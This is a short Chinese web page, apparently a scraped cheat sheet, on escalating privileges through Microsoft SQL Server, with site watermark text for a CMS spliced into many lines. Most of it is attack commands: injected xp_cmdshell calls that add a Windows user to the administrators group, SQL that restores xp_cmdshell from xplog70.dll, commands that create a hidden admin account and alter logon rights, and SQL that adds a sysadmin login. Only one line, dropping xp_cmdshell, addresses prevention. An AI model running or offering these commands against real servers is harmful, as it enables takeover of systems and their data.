SQLServer提升权限相关命令及防范
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"-- 织梦内容管理系统
程序代码开启cmdshell的SQL语句 copyright dedecms
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 织梦好,好织梦
判定存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK 织梦内容管理系统
恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK dedecms.com
否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell" dedecms.com
DOS:
dir c:/
dir d:/
dir e:/ 织梦内容管理系统
net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add copyright dedecms
备份恢复IPSEC copyright dedecms
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin
文章评论
共有位Admini5网友发表了评论 查看完整内容